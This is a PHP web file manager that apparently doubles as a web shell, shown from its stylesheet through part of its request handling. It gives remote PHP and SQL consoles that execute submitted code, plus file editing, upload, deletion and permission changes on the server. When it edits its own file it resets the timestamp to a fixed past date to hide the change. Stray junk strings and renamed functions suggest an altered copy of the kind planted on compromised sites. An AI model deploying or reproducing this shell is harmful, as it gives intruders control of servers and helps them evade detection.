    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
